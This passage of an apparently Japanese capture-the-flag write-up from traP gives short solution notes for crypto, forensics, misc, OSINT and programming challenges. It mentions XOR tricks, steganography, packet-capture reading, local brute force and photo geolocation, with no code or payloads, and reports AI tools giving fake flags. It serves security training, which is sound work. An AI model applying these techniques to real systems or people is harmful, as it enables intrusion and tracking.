&#x308C;&#x307E;&#x3059;&#x3002;</p><h3 id="janken-master-lv350%E7%82%B9">Janken Master (Lv.3,50&#x70B9;)</h3><p>seed&#x306B;XOR&#x3092;&#x304B;&#x3051;&#x3066;&#x3044;&#x308B;&#x6570;&#x3092;&#x5165;&#x529B;&#x3059;&#x308B;&#x3068;&#x5168;&#x54E1;&#x304C;&#x30B0;&#x30FC;&#x3092;&#x51FA;&#x3057;&#x3066;&#x304F;&#x308C;&#x307E;&#x3059;&#x3002;&#x6700;&#x521D;&#x81EA;&#x5206;&#x306F;&#x30B0;&#x30FC;&#x3092;&#x51FA;&#x3057;&#x3066;&#x3057;&#x307E;&#x3044;&#x3001;100&#x4EBA;&#x5168;&#x54E1;&#x304C;&#x30B0;&#x30FC;&#x3092;&#x51FA;&#x3059;&#x3053;&#x3068;&#x306B;&#x3088;&#x308B;&#x3042;&#x3044;&#x3053;&#x304C;&#x767A;&#x751F;&#x3057;&#x3066;&#x3057;&#x307E;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;&#x3069;&#x3046;&#x3044;&#x3046;&#x78BA;&#x7387;&#x3067;&#x3057;&#x3087;&#x3046;&#x304B;&#x3002;</p><p>&#x30D1;&#x30FC;&#x3092;&#x51FA;&#x305B;&#x3070;&#x52DD;&#x3066;&#x307E;&#x3059;&#x3002;</p><h3 id="bitwise-scribble-lv450%E7%82%B9">Bitwise Scribble (Lv.4,50&#x70B9;)</h3><p>3&#x3064;&#x306B;&#x5206;&#x3051;&#x3066;&#x6697;&#x53F7;&#x5316;&#x304C;&#x3055;&#x308C;&#x3066;&#x3044;&#x307E;&#x3059;&#x304C;&#x3001;&#x5B9F;&#x306F;&#x5168;&#x90E8;XOR&#x3057;&#x3066;&#x3044;&#x308B;&#x3060;&#x3051;&#x3067;&#x3059;&#x3002;&#x5FA9;&#x53F7;&#x306E;&#x4ED5;&#x65B9;&#x306F;&#x3088;&#x304F;&#x308F;&#x304B;&#x3089;&#x306A;&#x3044;&#x306E;&#x3067;&#x3001;claude&#x306B;&#x6295;&#x3052;&#x307E;&#x3057;&#x305F;&#x3002;</p><h3 id="mod-n-janken-lv5138%E7%82%B9">mod N Janken (Lv.5,138&#x70B9;)</h3><p>&#x554F;&#x984C;&#x3092;&#x898B;&#x3066;&#x3044;&#x306A;&#x3044;&#x6C17;&#x304C;&#x3059;&#x308B;... Lv.5&#x306F;&#x30D2;&#x30F3;&#x30C8;&#x304C;&#x306A;&#x3044;&#x3053;&#x3068;&#x304B;&#x3089;&#x3042;&#x307E;&#x308A;&#x3061;&#x3083;&#x3093;&#x3068;&#x898B;&#x3066;&#x3044;&#x306A;&#x3044;&#x554F;&#x984C;&#x304C;&#x591A;&#x3044;&#x3067;&#x3059;&#x3002;Lv.5&#x306E;&#x4E2D;&#x3067;&#x306F;&#x5272;&#x3068;&#x914D;&#x70B9;&#x304C;&#x4F4E;&#x3044;&#x307B;&#x3046;&#x3060;&#x3063;&#x305F;&#x6C17;&#x304C;&#x3057;&#x307E;&#x3059;&#x3002;</p><h2 id="forensics">Forensics</h2><p>&#x30E1;&#x30E2;&#x30EA;&#x3068;&#x304B;&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x3068;&#x304B;&#x304B;&#x3089;&#x30D5;&#x30E9;&#x30B0;&#x3092;&#x5165;&#x624B;&#x3059;&#x308B;&#x554F;&#x984C;&#x3067;&#x3059;&#x3002;5/6&#x554F;&#x89E3;&#x3051;&#x307E;&#x3057;&#x305F;&#x3002;</p><h3 id="l0v3-pdf-lv110%E7%82%B9">L0v3 PDF (Lv.1,10&#x70B9;)</h3><p>&#x3042;&#x3093;&#x307E;&#x308A;&#x304A;&#x307C;&#x3048;&#x3066;&#x306A;&#x3044;&#x3067;&#x3059;&#x3002;strings&#x3092;&#x3059;&#x308B;&#x3068;&#x89E3;&#x3051;&#x305F;&#x6C17;&#x304C;&#x3057;&#x307E;&#x3059;&#x3002;</p><h3 id="flag-in-flags-lv250%E7%82%B9">Flag in Flags (Lv.2,50&#x70B9;)</h3><p>&#x753B;&#x50CF;&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x304C;&#x4E0E;&#x3048;&#x3089;&#x308C;&#x307E;&#x3059;&#x3002;&#x6614;&#x306E;&#x8A18;&#x61B6;&#x3067;&#x7279;&#x5B9A;&#x306E;&#x8272;&#x3060;&#x3051;&#x62BD;&#x51FA;&#x3059;&#x308B;&#x30C6;&#x30AF;&#x30CB;&#x30C3;&#x30AF;&#x304C;&#x3042;&#x3063;&#x305F;&#x306E;&#x3092;&#x601D;&#x3044;&#x51FA;&#x3057;&#x305F;&#x306E;&#x3067;&#x3001;&#x8ABF;&#x3079;&#x308B;&#x3068;&#x3001;&#x30B9;&#x30C6;&#x30AC;&#x30CE;&#x30B0;&#x30E9;&#x30D5;&#x30A3;&#x3068;&#x3044;&#x3046;&#x3082;&#x306E;&#x304C;&#x51FA;&#x3066;&#x304D;&#x307E;&#x3059;&#x3002;<br>&#xFEFF;&#x6614;&#x306F;Windows&#x3067;&#x3046;&#x3055;&#x307F;&#x307F;&#x30CF;&#x30EA;&#x30B1;&#x30FC;&#x30F3;&#x3068;&#x3044;&#x3046;&#x30A2;&#x30D7;&#x30EA;&#x3092;&#x4F7F;&#x3063;&#x3066;&#x3044;&#x305F;&#x3068;&#x601D;&#x3046;&#x306E;&#x3067;&#x3059;&#x304C;&#x3001;&#x4ECA;&#x56DE;&#x306F;&#x30D6;&#x30E9;&#x30A6;&#x30B6;&#x3067;&#x3044;&#x3044;&#x3082;&#x306E;&#x3092;&#x898B;&#x3064;&#x3051;&#x305F;&#x306E;&#x3067;<a href="https://zk-phi.github.io/argtools-jp/apps/stegano/?ref=trap.jp">&#x3053;&#x308C;</a>&#x3092;&#x4F7F;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;<br>&#xFEFF;&#x4F7F;&#x3046;&#x3068;&#x89E3;&#x3051;&#x307E;&#x3059;&#x3002;</p><h3 id="secret-recipe-lv250%E7%82%B9">Secret Recipe (Lv.2,50&#x70B9;)</h3><p>wireshark&#x3067;&#x3001;follow TCP stream&#x3068;&#x3044;&#x3046;&#x3082;&#x306E;&#x3092;&#x4F7F;&#x3046;&#x3068;&#x89E3;&#x3051;&#x305F;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x3002;&#x8A73;&#x3057;&#x304F;&#x306A;&#x306B;&#x3092;&#x3057;&#x305F;&#x304B;&#x306F;&#x899A;&#x3048;&#x3066;&#x3044;&#x306A;&#x3044;&#x3067;&#x3059;&#x3002;</p><h3 id="credentials-lv350%E7%82%B9">credentials (Lv.3,50&#x70B9;)</h3><p>git&#x306F;&#x3088;&#x304F;&#x308F;&#x304B;&#x3089;&#x306A;&#x3044;&#x306E;&#x3067;&#x30D2;&#x30F3;&#x30C8;&#x3092;&#x898B;&#x307E;&#x3059;&#x3002;&#x305D;&#x308C;&#x3067;&#x3082;&#x3088;&#x304F;&#x308F;&#x304B;&#x3089;&#x306A;&#x3044;&#x306E;&#x3067;&#x554F;&#x984C;&#x6587;&#x306B;&#x66F8;&#x304B;&#x308C;&#x3066;&#x3044;&#x308B;&#x30B3;&#x30DE;&#x30F3;&#x30C9;&#x3068;&#x30D2;&#x30F3;&#x30C8;&#x3092;ChatGPT&#x306B;&#x6295;&#x3052;&#x308B;&#x3068;&#x89E3;&#x3051;&#x307E;&#x3059;&#x3002;</p><h3 id="digest-lv350%E7%82%B9">digest (Lv.3,50&#x70B9;)</h3><p>&#x300C;&#x30B5;&#x30FC;&#x30D0;&#x30FC;&#x306B;&#x306F;&#x30EC;&#x30FC;&#x30C8;&#x30EA;&#x30DF;&#x30C3;&#x30C8;&#x304C;&#x304B;&#x304B;&#x3063;&#x3066;&#x3044;&#x308B;&#x300D;&#x3068;&#x3044;&#x3046;&#x8868;&#x73FE;&#x304C;&#x6C17;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;&#x624B;&#x5143;&#x3067;&#x52D5;&#x304B;&#x305B;&#x3070;&#x6570;&#x5B57;8&#x6841;&#x304F;&#x3089;&#x3044;&#x30ED;&#x30FC;&#x30E9;&#x30FC;&#x3067;&#x304D;&#x305D;&#x3046;&#x3067;&#x3059;&#x306D;&#x3002;&#x3069;&#x3046;&#x3084;&#x308B;&#x306E;&#x304B;&#x306F;&#x308F;&#x304B;&#x3089;&#x306A;&#x3044;&#x306E;&#x3067;ChatGPT&#x306B;&#x6295;&#x3052;&#x308B;&#x3068;&#x89E3;&#x3051;&#x307E;&#x3059;&#x3002;</p><h3 id="authorized-whale-lv5216%E7%82%B9">Authorized Whale (Lv.5,216&#x70B9;)</h3><p>&#x898B;&#x3066;&#x306A;&#x3044;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x3002;</p><h2 id="misc">Misc</h2><p>&#x6240;&#x8B02;&#x3001;&#x305D;&#x306E;&#x4ED6;&#x306B;&#x5206;&#x985E;&#x3055;&#x308C;&#x308B;&#x554F;&#x984C;&#x3067;&#x3059;&#x3002;&#x306A;&#x3093;&#x3067;&#x3082;&#x51FA;&#x307E;&#x3059;&#x3002;4/5&#x554F;&#x89E3;&#x3051;&#x307E;&#x3057;&#x305F;&#x3002;</p><h3 id="sanity-check-lv110%E7%82%B9">Sanity Check (Lv.1,10&#x70B9;)</h3><p>Discord&#x3092;&#x898B;&#x308B;&#x3068;&#x3001;&#x89E3;&#x3051;&#x307E;&#x3059;</p><h3 id="feedback-servey-lv110%E7%82%B9">Feedback Servey (Lv.1,10&#x70B9;)</h3><p>&#x30A2;&#x30F3;&#x30B1;&#x30FC;&#x30C8;&#x306B;&#x7B54;&#x3048;&#x308B;&#x3068;&#x3001;&#x89E3;&#x3051;&#x307E;&#x3059;</p><h3 id="hello-latex3-lv350%E7%82%B9">Hello LaTeX3!!! (Lv.3,50&#x70B9;)</h3><p>&#x554F;&#x984C;&#x306E;&#x4E2D;&#x8EAB;&#x3092;&#x898B;&#x306A;&#x304F;&#x3066;&#x3082;<a href="https://trap.jp/author/suima/">&#x4F5C;&#x554F;&#x8005;</a>&#x304C;&#x308F;&#x304B;&#x308B;&#x554F;&#x984C;&#x3067;&#x3059;&#x3002;<br>&#xFEFF;&#x30B3;&#x30FC;&#x30C9;&#x3092;&#x898B;&#x308B;&#x3068;&#x3001;clist&#x3068;&#x3044;&#x3046;&#x898B;&#x305F;&#x3053;&#x3068;&#x306A;&#x3044;&#x8A00;&#x8449;&#x304C;&#x51FA;&#x3066;&#x304D;&#x307E;&#x3059;&#x3002; expl3&#x306E;&#x30C9;&#x30AD;&#x30E5;&#x30E1;&#x30F3;&#x30C8;&#x3067;&#x3053;&#x308C;&#x3092;&#x8ABF;&#x3079;&#x3066;&#x307F;&#x308B;&#x3068;&#x3001;&#x3044;&#x304F;&#x3064;&#x304B;&#x306E;&#x5019;&#x88DC;&#x304C;&#x51FA;&#x3066;&#x304D;&#x307E;&#x3059;&#x3002;&#x305D;&#x308C;&#x3063;&#x307D;&#x3044;&#x306E;&#x3092;&#x3044;&#x304F;&#x3064;&#x304B;&#x5165;&#x308C;&#x3066;&#x307F;&#x308B;&#x3068;1&#x500B;&#x5F53;&#x305F;&#x308A;&#x307E;&#x3059;&#x3002;</p><h3 id="qrrrrrrrrrr-lv3112%E7%82%B9">QRRRRRRRRRR (Lv.3,112&#x70B9;)</h3><p>&#x6700;&#x5F8C;&#x307E;&#x3067;&#x89E3;&#x3051;&#x307E;&#x305B;&#x3093;&#x3067;&#x3057;&#x305F;&#x3002;&#x30D2;&#x30F3;&#x30C8;&#x901A;&#x308A;&#x306B;QRazy box&#x3092;&#x8A66;&#x3057;&#x3066;&#x307F;&#x308B;&#x306E;&#x3067;&#x3059;&#x304C;&#x3001;&#x3046;&#x307E;&#x304F;&#x3044;&#x304B;&#x305A;&#x3001;&#x8272;&#x3005;&#x306A;&#x751F;&#x6210;AI&#x306B;&#x89E3;&#x304B;&#x305B;&#x3066;&#x307F;&#x307E;&#x3057;&#x305F;&#x304C;&#x3001;&#x3053;&#x308C;&#x3082;&#x3046;&#x307E;&#x304F;&#x3044;&#x304D;&#x307E;&#x305B;&#x3093;&#x3067;&#x3057;&#x305F;&#x3002;</p><p>&#x3053;&#x306E;&#x6642;&#x7B54;&#x3048;&#x3068;&#x5168;&#x7136;&#x95A2;&#x4FC2;&#x306A;&#x3044;&#x3088;&#x3046;&#x306A;&#x30D5;&#x30E9;&#x30B0;&#x3092;&#x51FA;&#x529B;&#x3057;&#x3066;&#x304D;&#x305F;&#x308A;&#x3001;&#x30EA;&#x30C3;&#x30AF;&#x30ED;&#x30FC;&#x30EB;&#x304C;&#x51FA;&#x3066;&#x304D;&#x305F;&#x3053;&#x3068;&#x306B;&#x3055;&#x308C;&#x305F;&#x308A;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;&#x305D;&#x3046;&#x306F;&#x306A;&#x3089;&#x3093;&#x3084;&#x308D;&#x3002;</p><h3 id="damaged-report-lv4169%E7%82%B9">Damaged Report (Lv.4,169&#x70B9;)</h3><p>&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x3092;claude&#x306B;&#x6295;&#x3052;&#x305F;&#x3089;&#x30B5;&#x30C3;&#x3068;&#x89E3;&#x3044;&#x3066;&#x304F;&#x308C;&#x305F;&#x6C17;&#x304C;&#x3057;&#x307E;&#x3059;&#x3002;&#x3061;&#x306A;&#x307F;&#x306B;Reversing&#x306E;&#x554F;&#x984C;&#x3068;&#x304B;&#x306F;&#x307B;&#x304B;&#x306E;&#x4EBA;&#x304C;&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x3054;&#x3068;&#x6E21;&#x3057;&#x305F;&#x3089;&#x3059;&#x3050;&#x89E3;&#x3044;&#x3066;&#x304F;&#x308C;&#x305F;&#x307F;&#x305F;&#x3044;&#x306A;&#x3053;&#x3068;&#x3092;&#x8A00;&#x3063;&#x3066;&#x3044;&#x305F;&#x306E;&#x3067;&#x305D;&#x3046;&#x3044;&#x3046;&#x3053;&#x3068;&#x3092;&#x3057;&#x305F;&#x65B9;&#x304C;&#x5F37;&#x3044;&#x306E;&#x304B;&#x3082;&#x3057;&#x308C;&#x307E;&#x305B;&#x3093;&#x3002;&#x305F;&#x3060;&#x305D;&#x308C;&#x3060;&#x3068;&#x4F55;&#x3092;&#x3057;&#x305F;&#x3089;&#x89E3;&#x3051;&#x305F;&#x306E;&#x304B;&#x5168;&#x7136;&#x308F;&#x304B;&#x3089;&#x306A;&#x3044;&#x306E;&#x3067;&#x3069;&#x3046;&#x3057;&#x3088;&#x3046;&#x3082;&#x306A;&#x3044;&#x3068;&#x304D;&#x4EE5;&#x5916;&#x306F;&#x8003;&#x5BDF;&#x3092;&#x8272;&#x3005;&#x631F;&#x3080;&#x3088;&#x3046;&#x306B;&#x3057;&#x3066;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;<br>&#xFEFF;&#x307E;&#x3042;&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x4E38;&#x3054;&#x3068;&#x6E21;&#x3059;&#x306E;&#x3092;&#x3053;&#x3053;&#x307E;&#x3067;&#x601D;&#x3044;&#x3064;&#x304B;&#x306A;&#x304B;&#x3063;&#x305F;&#x3060;&#x3051;&#x306A;&#x3093;&#x3067;&#x3059;&#x304C;&#x3002;</p><h2 id="osint">OSINT</h2><p>&#x5408;&#x6CD5;&#x7684;&#x306A;&#xFF08;SNS&#x306A;&#x3069;&#x3092;&#x4F7F;&#x3063;&#x3066;&#xFF09;&#x691C;&#x7D22;&#x3059;&#x308B;&#x3053;&#x3068;&#x3067;&#x89E3;&#x3051;&#x308B;&#x554F;&#x984C;&#x3067;&#x3059;&#x3002;2/3&#x554F;&#x89E3;&#x3051;&#x307E;&#x3057;&#x305F;&#x3002;</p><h3 id="iris-out-lv250%E7%82%B9">IRIS OUT (Lv.2,50&#x70B9;)</h3><p>IRIS OUT &#x7D05;&#x767D; &#x5834;&#x6240;<br>&#xFEFF;&#x3068;&#x304B;&#x3067;&#x8ABF;&#x3079;&#x308B;&#x3068;&#x3001;&#x5927;&#x4F53;&#x306E;&#x5834;&#x6240;&#x304C;&#x51FA;&#x3066;&#x304D;&#x307E;&#x3059;&#x3002;&#x5FEB;&#x6D3B;CLUB&#x3068;&#x3001;&#x30AB;&#x30E9;&#x30AA;&#x30B1;&#x9928;&#x3068;&#x3001;&#x9752;&#x770B;&#x677F;&#x306E;&#x5834;&#x6240;&#x304B;&#x3089;&#x7279;&#x5B9A;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;</p><h3 id="penguin-lv250%E7%82%B9">PENGUIN (Lv.2,50&#x70B9;)</h3><p>&#x30D2;&#x30F3;&#x30C8;&#x3092;&#x898B;&#x3066;&#x3001;&#x540D;&#x53E4;&#x5C4B;&#x6E2F;&#x535A;&#x7269;&#x9928;&#x3092;&#x8ABF;&#x3079;&#x308B;&#x3068;&#x3001;&#x30DA;&#x30F3;&#x30AE;&#x30F3;&#x306E;&#x30E9;&#x30D9;&#x30EB;&#x306E;&#x8A18;&#x4E8B;&#x304C;&#x51FA;&#x3066;&#x304D;&#x307E;&#x3059;&#x3002;&#x3053;&#x308C;&#x3092;&#x898B;&#x308B;&#x3068;&#x89E3;&#x3051;&#x308B;&#x306F;&#x305A;&#x306A;&#x3093;&#x3067;&#x3059;&#x304C;&#x3001;&#x81EA;&#x5206;&#x306F;&#x9EC4;&#x8272;&#x304C;&#x8D64;&#x306B;&#x898B;&#x3048;&#x3066;&#x3044;&#x305F;&#x306E;&#x3067;&#x89E3;&#x3051;&#x307E;&#x305B;&#x3093;&#x3067;&#x3057;&#x305F;&#x3002;&#x60B2;&#x3057;&#x3044;&#x3002;</p><h3 id="night-view-lv350%E7%82%B9">Night View (Lv.3,50&#x70B9;)</h3><p>&#x5965;&#x306E;&#x65B9;&#x306B;&#x30EC;&#x30A4;&#x30F3;&#x30DC;&#x30FC;&#x30D6;&#x30EA;&#x30C3;&#x30B8;&#x3063;&#x307D;&#x3044;&#x3082;&#x306E;&#x304C;&#x898B;&#x3048;&#x308B;&#x306E;&#x3068;&#x3001;&#x624B;&#x524D;&#x306E;&#x65B9;&#x306B;&#x4E94;&#x5341;&#x5D50;&#x51B7;&#x8535;&#x3068;&#x66F8;&#x3044;&#x3066;&#x3042;&#x308B;&#x5EFA;&#x7269;&#x304C;&#x3042;&#x308B;&#x306E;&#x3067;&#x3001;&#x3053;&#x308C;&#x3089;&#x304B;&#x3089;&#x5927;&#x4F53;&#x306E;&#x4F4D;&#x7F6E;&#x304C;&#x63A8;&#x6E2C;&#x3067;&#x307E;&#x3059;&#x3002;&#x64AE;&#x3063;&#x3066;&#x3044;&#x308B;&#x5834;&#x6240;&#x304C;&#x304B;&#x306A;&#x308A;&#x9AD8;&#x305D;&#x3046;&#x306A;&#x306E;&#x3067;&#x3001;&#x7530;&#x753A;&#x99C5;&#x5468;&#x8FBA;&#x306E;&#x9AD8;&#x3044;&#x5EFA;&#x7269;&#x3092;&#x8ABF;&#x3079;&#x308B;&#x3068;&#x3001;&#x7279;&#x5B9A;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;</p><h2 id="ppc">PPC</h2><p>&#x7AF6;&#x6280;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30DF;&#x30F3;&#x30B0;&#x3067;&#x3059;&#x3002;9/14&#x554F;&#x89E3;&#x3051;&#x307E;&#x3057;&#x305F;&#x3002;&#x7AF6;&#x30D7;&#x30ED;&#x30E1;&#x30A4;&#x30F3;&#x306E;&#x9854;&#x3092;&#x3057;&#x3066;&#x3044;&#x308B;&#x306E;&#x3067;&#x3082;&#x3046;&#x3061;&#x3087;&#x3044;&#x89E3;&#x304D;&#x305F;&#x304B;&#x3063;&#x305F;&#x3067;&#x3059;&#x306D;&#x3002;</p><h3 id="modulo-equation-lv110%E7%82%B9">Modulo Equation (Lv.1,10&#x70B9;)</h3><p>&#x6700;&#x5C0F;&#x5024;&#x304C;10^5&#x4EE5;&#x4E0B;&#x3067;&#x3042;&#x308B;&#x3053;&#x3068;&#x304C;&#x4FDD;&#x8A3C;&#x3055;&#x308C;&#x3066;&#x3044;&#x308B;&#x306E;&#x3067;&#x3001;&#x5168;&#x63A2;&#x7D22;&#x3092;&#x3059;&#x308B;&#x3068;&#x89E3;&#x3051;&#x307E;&#x3059;&#x3002;</p><h3 id="sign-up-for-trap-lv110%E7%82%B9">Sign up for traP (Lv.1,10&#x70B9;)</h3><p>&#x66F8;&#x3044;&#x3066;&#x3042;&#x308B;&#x3053;&#x3068;&#x3092;&#x5B9F;&#x88C5;&#x3059;&#x308B;&#x3068;&#x89E3;&#x3051;&#x307E;&#x3059;&#x3002;</p><h3 id="01-string-lv250%E7%82%B9">01 String (Lv.2,50&#x70B9;)</h3><p>0....01....1 &#x306E;&#x5F62;&#x3092;&#x3057;&#x3066;&#x3044;&#x308B;&#xFF08;0&#x304C;1&#x3064;&#x4EE5;&#x4E0A;&#x3001;1&#x304C;1&#x3064;&#x4EE5;&#x4E0A;&#x3042;&#x308B;&#xFF09;&#x3082;&#x306E;&#x306B;&#x3064;&#x3044;&#x3066;&#x3001;&#x305D;&#x306E;&#x9577;&#x3055;&#x3092;N&#x3068;&#x3057;&#x305F;&#x3068;&#x304D;&#x3001;&#x3053;&#x306E;&#x9577;&#x3055;N&#x306E;&#x6587;&#x5B57;&#x5217;&#x306E;&#x72B6;&#x614B;&#x6570;&#x306F;N+1&#x901A;&#x308A;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002;&#x6587;&#x5B57;&#x5217;&#x5168;&#x4F53;&#x306B;&#x3064;&#x3044;&#x3066;&#x3001;&#x3053;&#x308C;&#x3089;&#x3092;&#x304B;&#x3051;&#x5408;&#x308F;&#x305B;&#x308C;&#x3070;&#x89E3;&#x3051;&#x307E;&#x3059;&#x3002;</p><p>&#x8003;&#x3048;&#x306E;&#x4E3B;&#x8EF8;&#x304C;&#x308F;&#x304B;&#x308A;&#x3065;&#x3089;&#x304F;&#x3001;Lv.2&#x306E;&#x5272;&#x306B;&#x306F;&#x7D50;&#x69CB;&#x96E3;&#x3057;&#x304B;&#x3063;&#x305F;&#x6C17;&#x304C;&#x3057;&#x307E;&#x3059;&#x3002;</p><h3 id="bracket-stack-query-2-lv283%E7%82%B9">Bracket Stack Query 2 (Lv.2,83&#x70B9;)</h3><p>&#x5DE6;&#x306E;&#x65B9;&#x304B;&#x3089;&#x6587;&#x5B57;&#x3092;&#x8FFD;&#x52A0;&#x3059;&#x308B;&#x3068;&#x3001;(|)&#x304C;&#x5B8C;&#x6210;&#x3057;&#x305F;&#x3089;&#x6D88;&#x3059;&#x3053;&#x3068;&#x3067;&#x3001;&#x8FFD;&#x52A0;&#x3057;&#x3066;&#x3044;&#x304F;&#x3068;&#x304D;&#x306F;&#x554F;&#x984C;&#x306A;&#x3044;&#x3053;&#x3068;&#x304C;&#x308F;&#x304B;&#x308A;&#x307E;&#x3059;&#x3002;<br>&#xFEFF;&#x6B21;&#x306B;&#x524A;&#x9664;&#x3057;&#x3066;&#x3044;&#x304F;&#x3068;&#x304D;&#x306F;&#x3001;&#x57FA;&#x672C;&#x4E00;&#x756A;&#x53F3;&#x306E;&#x8A18;&#x53F7;&#x3092;&#x6D88;&#x305B;&#x3070;&#x3088;&#x3044;&#x306E;&#x3067;&#x3059;&#x304C;&#x3001;(|)&#x304C;&#x5B8C;&#x6210;&#x3057;&#x305F;&#x3042;&#x3068;&#x306B;&#x524A;&#x9664;&#x304C;&#x6765;&#x308B;&#x3068;&#x3001;(|&#x3092;&#x8FFD;&#x52A0;&#x3059;&#x308B;&#x5FC5;&#x8981;&#x304C;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002;&#x5404;&#x64CD;&#x4F5C;&#x5F8C;&#x306B;&#x6587;&#x5B57;&#x5217;&#x306E;&#x9577;&#x3055;&#x3092;&#x8A18;&#x61B6;&#x3057;&#x3066;&#x304A;&#x304F;&#x3053;&#x3068;&#x3067;&#x3053;&#x306E;&#x51E6;&#x7406;&#x3092;&#x3059;&#x308B;&#x3088;&#x3046;&#x306A;&#x5206;&#x5C90;&#x3092;&#x4F5C;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;</p><p>&#x3053;&#x308C;01 String&#x3088;&#x308A;&#x89E3;&#x304B;&#x308C;&#x3066;&#x306A;&#x3044;&#x3093;&#x3067;&#x3059;&#x306D;&#x3001;&#x304B;&#x306A;&#x308A;&#x610F;&#x5916;&#x3002;</p><h3 id="i-love-dag-lv250%E7%82%B9">I Love DAG (Lv.2,50&#x70B9;)</h3><p>&#x6570;&#x5B57;&#x304C;&#x5C0F;&#x3055;&#x3044;&#x65B9;&#x304B;&#x3089;&#x5927;&#x304D;&#x3044;&#x65B9;&#x306B;&#x8FBA;&#x3092;&#x5F35;&#x308B;&#x3053;&#x3068;&#x3067;&#x6761;&#x4EF6;&#x3092;&#x6E80;&#x305F;&#x3057;&#x307E;&#x3059;&#x3002;</p><h3 id="digit-products-2-lv3106%E7%82%B9">Digit Products 2 (Lv.3,106&#x70B9;)</h3><p>&#x6700;&#x4E0A;&#x4F4D;&#x306E;&#x6570;&#x5B57;&#x306F;0&#x3067;&#x306A;&#x3044;&#x3053;&#x3068;&#x304C;&#x78BA;&#x5B9A;&#x3057;&#x3066;&#x3044;&#x308B;&#x306E;&#x3067;&#x3001;&#x6700;&#x4E0A;&#x4F4D;&#x306E;&#x6570;&#x5B57;&#x3068;&#x305D;&#x308C;&#x4EE5;&#x5916;&#x306E;&#x4F4D;&#x306E;&#x6570;&#x5B57;&#x3092;&#x639B;&#x3051;&#x5408;&#x308F;&#x305B;&#x305F;&#x3082;&#x306E;&#x3092;1&#x3064;&#x305A;&#x3064;&#x805E;&#x304F;&#x3053;&#x3068;&#x3067;&#x3001;&#x8FD4;&#x7B54;&#x304C;0&#x3067;&#x306A;&#x3044;&#x3082;&#x306E;&#x304C;2&#x3064;&#x4EE5;&#x4E0A;&#x3042;&#x3063;&#x305F;&#x5834;&#x5408;&#x306F;&#x305D;&#x306E;&#x3088;&#x3046;&#x306A;&#x6841;2&#x3064;&#x3092;&#x805E;&#x304F;&#x3053;&#x3068;&#x3067;&#x6C7A;&#x5B9A;&#x3057;&#x307E;&#x3059;&#x3002;<br>&#xFEFF;1&#x3064;&#x306E;&#x3068;&#x304D;&#x3001;1,25,49,64,81&#x306E;&#x3068;&#x304D;&#x306E;&#x307F;1&#x901A;&#x308A;&#x306B;&#x7D5E;&#x308C;&#x307E;&#x3059;&#x3002;<br>&#xFEFF;0&#x500B;&#x306E;&#x6642;&#x306F;&#x6700;&#x4E0A;&#x4F4D;&#x306E;&#x6570;&#x5B57;&#x304C;&#x4F55;&#x304B;&#x308F;&#x304B;&#x3089;&#x306A;&#x3044;&#x306E;&#x3067;&#x7D5E;&#x308C;&#x307E;&#x305B;&#x3093;&#x3002;</p><h3 id="gcd-knapsack-lv3106%E7%82%B9">GCD Knapsack (Lv.3,106&#x70B9;)</h3><p>GCD&#x306E;&#x65B9;&#x3092;&#x56FA;&#x5B9A;&#x3059;&#x308B;&#x3053;&#x3068;&#x3067;&#x3001;N*(1~N&#x307E;&#x3067;&#x306E;&#x9006;&#x6570;&#x306E;&#x7DCF;&#x548C;) &#x7A0B;&#x5EA6;&#x307E;&#x3067;&#x8A08;&#x7B97;&#x91CF;&#x3092;&#x6291;&#x3048;&#x3089;&#x308C;&#x307E;&#x3059;&#x3002;</p><h3 id="insert-maze-lv3128%E7%82%B9">Insert Maze (Lv.3,128&#x70B9;)</h3><p>&#x9014;&#x4E2D;&#x3067;&#x9593;&#x306B;&#x5217;&#x3068;&#x304B;&#x884C;&#x3092;&#x633F;&#x5165;&#x3059;&#x308B;&#x3053;&#x3068;&#x3092;&#x8003;&#x3048;&#x59CB;&#x3081;&#x308B;&#x3068;&#x96E3;&#x3057;&#x305D;&#x3046;&#x3060;&#x306A;&#x3041;&#x3068;&#x601D;&#x3046;&#x306E;&#x3067;&#x3001;&#x6700;&#x521D;&#x306B;&#x5168;&#x90E8;&#x5217;&#x3068;&#x884C;&#x3092;&#x633F;&#x5165;&#x3057;&#x3066;&#x304A;&#x304D;&#x307E;&#x3059;&#x3002;<br>&#xFEFF;&#x3059;&#x308B;&#x3068;&#x3001;1&#x884C;&#x30FB;&#x5217;&#x3001;&#x98DB;&#x3070;&#x305B;&#x308B;&#x304B;&#x98DB;&#x3070;&#x305B;&#x306A;&#x3044;&#x304B;&#x3092;&#x5236;&#x5FA1;&#x3059;&#x308B;&#x3053;&#x3068;&#x3067;&#x3046;&#x307E;&#x304F;&#x89E3;&#x3051;&#x307E;&#x3059;&#x3002;</p><p>&#x3053;&#x308C;&#x591A;&#x5206;&#x60F3;&#x5B9A;&#x89E3;&#x3068;&#x9055;&#x3046;&#x3093;&#x3067;&#x3059;&#x3088;&#x306D;&#x3001;&#x7269;&#x7406;&#x5B66;&#x6F14;&#x7FD2;&#x306A;&#x3089;&#x5225;&#x89E3;&#x3067;&#x70B9;&#x6570;&#x304C;&#x3082;&#x3089;&#x3048;&#x305D;&#x3046;&#x3067;&#x3059;&#x3002;</p><h3 id="sum-of-prod-of-root-lv3178%E7%82%B9">Sum of Prod of Root 